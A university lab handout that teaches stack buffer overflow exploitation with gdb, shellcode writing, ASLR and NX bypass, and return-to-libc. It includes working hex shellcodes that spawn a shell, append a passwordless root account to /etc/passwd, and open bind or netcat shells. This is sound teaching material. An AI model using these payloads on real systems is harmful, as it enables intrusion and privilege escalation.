TD 5: shell code, on-stack buffer overflow

Get the TD tarball from
`https://dept-info.labri.fr/~thibault/SecuLog/td5.tgz`
unpack it, run `make`

Note : it's really important to use `make` : the makefile passes the `-zexecstack` option to the linker so that our shellcode can get executed on the stack.

1 The magic example

The goal in this section is to get used to the tools to observe a program behavior.

Run `./magic`, notice that it hangs. Check the source code, remember what we said about it.

Run it in gdb, put a breakpoint on `main` and step through the program with `ni` . Notice when the loop goes back to its beginning. Print the address of `i` and of `t[11]`, explain why the behavior.

Run the program from its beginning again, this time use `pframe` to print the stack. Notice how it does indeed contain garbage at the beginning, and gets zeroed by the loop, until `i` gets hit.

2 The shellcode example

2.1 Achieving the exploit

Notice that when `anodin` is build where are warnings : libc still provides the function, but does not provide a prototype any more in stdio.h ! It also warns that the function is *dangerous* !

Run
`./exploit | ./anodin`
It prints an address (we here assume that somehow we manage to extort it from `anodin`). Copy/paste it, so as to give it as input to `exploit`, type enter.

A `/tmp/ahah` file got created, `anodin` got pwnd !

If `anodin` had the setuid bit for instance, or if it was a webserver, it would be a huge security breach !

2.2 Shell code and feeding it

Read `exploit.c`, this is the same shellcode as seen in the course. We have added the nops and return addresses to trick `anodin`.

2.3 Disabling ASLR

Run `anodin` alone several times with and without randomization :
`./anodin`
`setarch -R ./anodin`
Notice how the buf address is random or not.

With ASLR disabled, we can create a constant input for `anodin` :

```
./exploit > hack
0x7fffffffe070
```

And now we can feed the constant input to `anodin` :

`setarch -R ./anodin < hack`

Ok, it is still getting pwnd, in a simpler way, this will allow us to easily observe what is happening, in gdb.

2.4 Running in gdb

Let's try to run it in gdb :

```
setarch -R gdb ./anodin
[...]
(gdb) r
```

Oops, a different address is getting printed... Use `exploit` again to create a `hack-gdb` file with that address. Let's now run with the `hack-gdb` input :

```
setarch -R gdb ./anodin
[...]
(gdb) r < hack-gdb
```

Ok it still gets pwnd !

Quit gdb, run it again (otherwise it is a bit lost due to the execve("/bin/sh")). Set a breakpoint on `litentier`, run it again with the `hack-gdb` input. Call `pframe` to check what the stack looks like. Copy/paste the output somewhere, to save a copy of what it looks like now. Print the address of `buf`, check where that is.

Type `n` until `gets` gets executed. Call `pframe` again, see that `buf` indeed got filled with the shellcode (you can recognize the hex printout, notably starting with the nops `0x90`). See how `buf` actually got overflowed, and the return address got completely mangled. See where it points at.

Type `n` until gdb gets to the `return` instruction. Now switch to assembly output by typing Control-X 2 twice. Now use `si` to proceed with the programe assembly instruction by assembly instruction. Call `pframe` at each instruction to make sure what is happening with bp/sp. Notice where `ret` jumps to. Yes, `bp` is also pointing to `buf`, that's because we really went up the stairs with overflowing the stack with its address :) After `ret` is executed, you will see `ip` (instruction pointer) showing up in `pframe`, the processor is now executing our shellcode !

Proceed carefully through the shell code, checking what is happening in registers and on the stack. Notice how the `call` and `pop` do properly get the address of "/bin/sh". At the `syscall` instruction, check the content of the registers containing the parameters of the system call.

Try to give an address which is a bit higher than what `anodin` printed. It should be still working, it will just execute a bit less nops.

3 Building a shellcode

Read `shellcode.S`, it simply creates a file and exits.

Run `strace ./shellcode` to check that it indeed works properly.

Run `objdump -d shellcode` to get the machine language result in hexadecimal. Notice that the address of `filename` is recorded as absolute address. Use `call` and `pop` to fix this like the shell of the previous section. Now we have a relocatable shellcode.

Check that your code takes at most 64 bytes, since that's the size of the targetted buffer.

You can try to run it by embedding it in a C program like this :

```c
int main() {
        unsigned char shellcode[] =
              // write your shellcode in hex here
              0xde, 0xad,
              0xbe, 0xef,
              ...

        (*(void(*)()) shellcode)();
        return 0;
}
```

Take care that objdump sometimes abbreviates zeros with "...", look at the addresses to make sure that you have all the bytes, and introduce zeroes as needed.

Note that you **have** to compile the C program with `-zexecstack` so that the stack, and thus the `shellcode` array, is executable. The `Makefile` already does that for you.

If the program crashes, you can check the disassembled version inside gdb by hand :

```
(gdb) b main
(gdb) r
(gdb) n                  # to fill the shellcode array
(gdb) p &shellcode
0x7fff12345
(gdb) disassemble 0x7fff12345, 0x7fff123ff   # to disassemble this piece of memory
```

Once the shellcode works, you can try to inject this shellcode into the execution of `anodin` : make a new copy of `exploit.c`, and replace, in that new copy, the shellcode of section 2 with your own shellcode. You may have to get rid of some of the nops (`\x90`), they take room and you do not have much room (64 bytes!). Since we know exactly the address of `buf`, you may even drop `ptr += 8` and completely get rid of the nops.

If that does not work, use the method mentioned above to run `anodin` in gdb, by preparing a `hack-gdb` file.

Note that your shellcode has `\0` characters, fix this using the tricks mentioned in the course. Note that you can use `gdb` to perform computations and conversions :

```
(gdb) p/x 0666
$1 = 0x1b6
(gdb) p/x -0666
$2 = 0xfffffe4a
(gdb) p/x ~0666
$3 = 0xfffffe49
```

4 Looking at shellcode

Here is a list of shellcodes. You can stuff them in a global char array (not on the stack!) of a trivial C program, compile it with `-m32` or `-m64` depending whether it is a 32bit or a 64bit shellcode, and use `objdump -D` to read the assembly (beware of the line `...` which means "some zeroes, I was lazy to show them"), or use `disas` on the address of the arrays in gdb.

Find out what they are doing and how. Explain the tricks they use.

1. 32bit :

```c
unsigned char shellcode[] =
"\x31\xc9\xf7\xe9\x51\x04\x0b\xeb\x08\x5e\x87\xe6\x99\x87\xdc\xcd\x80"
"\xe8\xf3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
```

2. 64bit :

```
unsigned char shellcode[] =
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54"
"\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
```

3. 32bit :

```
unsigned char shellcode[] =
"\x5e\x29\xc0\x88\x46\x0b\x89\xf3\x66\xb9\x01\x04\x66\xba\xb6\x01\xb0"
"\x05\xcd\x80\x93\x29\xc0\x29\xd2\xb0\x04\x89\xf1\x80\xc1\x0c\xb2\x0a"
"\xcd\x80\x29\xc0\x40\xcd\x80\xe8\xd2\xff\xff\xff" "/etc/passwd" "\xff"
"z::0:0:::\n";
```

4. 64bit :

```
unsigned char shellcode[] =
"\x48\x31\xd2\x48\xbf\xff\x2f\x62\x69\x6e\x2f\x6e\x63\x48\xc1\xef\x08"
"\x57\x48\x89\xe7\x48\xb9\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xe9"
"\x08\x51\x48\x89\xe1\x48\xbb\xff\xff\xff\xff\xff\xff\x2d\x65\x48\xc1"
"\xeb\x30\x53\x48\x89\xe3\x49\xba\xff\xff\xff\xff\x31\x33\x33\x37\x49"
"\xc1\xea\x20\x41\x52\x49\x89\xe2\xeb\x11\x41\x59\x52\x51\x53\x41\x52"
"\x41\x51\x57\x48\x89\xe6\xb0\x3b\x0f\x05\xe8\xea\xff\xff\xff\x31\x32"
"\x37\x2e\x30\x2e\x30\x2e\x31";
```

5. 32bit :

```
unsigned char shellcode[] =
"\xd9\xee\x9b\xd9\x74\x24\xf4\x5d\x8d\x6d\x59\x31\xdb\xf7\xeb\xfe\xc3"
"\x51\x6a\x06\x6a\x01\x6a\x02\xff\xd5\x89\xc6\xfe\xc3\x52\x66\x68\x7a"
"\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\xff\xd5\xb3\x04\x6a\x01\x56\xff"
"\xd5\xb3\x05\x52\x52\x56\xff\xd5\x89\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0"
"\x3f\xcd\x80\x75\xf8\x31\xdb\xf7\xe3\x51\xeb\x13\x5e\x87\xe6\x87\xdc"
"\xb0\x0b\xcd\x80\x5f\x6a\x66\x58\x89\xe1\xcd\x80\x57\xc3\xe8\xe8\xff"
"\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68";
```

5 To go further : NX ? Still pwnd !

We'll try to drop the `-zexecstack` build option, i.e. make the stack non-executable, and still be able to exploit the `anodin` program.

In all the following, disable ASLR, and compile in 32bit mode by adding `-m32` in the CFLAGS.

— First, since we know the exact address of the buffer, we can drop the duplicate return-address overwrites, to keep only the one that actually overwrites the return address. Do that, check that the exploit still works, and the stack is modified exactly as needed, no more, no less.

— Then make `anodin` just return to the `exit` function. For simplicity, modify `anodin` to print the address of the `exit` function along the address of the buffer. We'll see in the next TD how to obtain such kind of address.

— Drop the `-zexecstack` option from the Makefile, see that the exploit still works.

— See that you can set the parameters of `exit` as you wish.

— Replace `exit` with `execve`, and set the parameters properly.

— Read `http://phrack.org/issues/58/4.html#article` and `https://web.archive.org/web/20210508015825/https://www.ret2rop.com/2018/08/return-to-libc.html` to get more details on Return-Oriented-Programming, using libc, notably the sp lifting method.

— Use the sp lifting method in order to manage to make another function call before calling `execve`.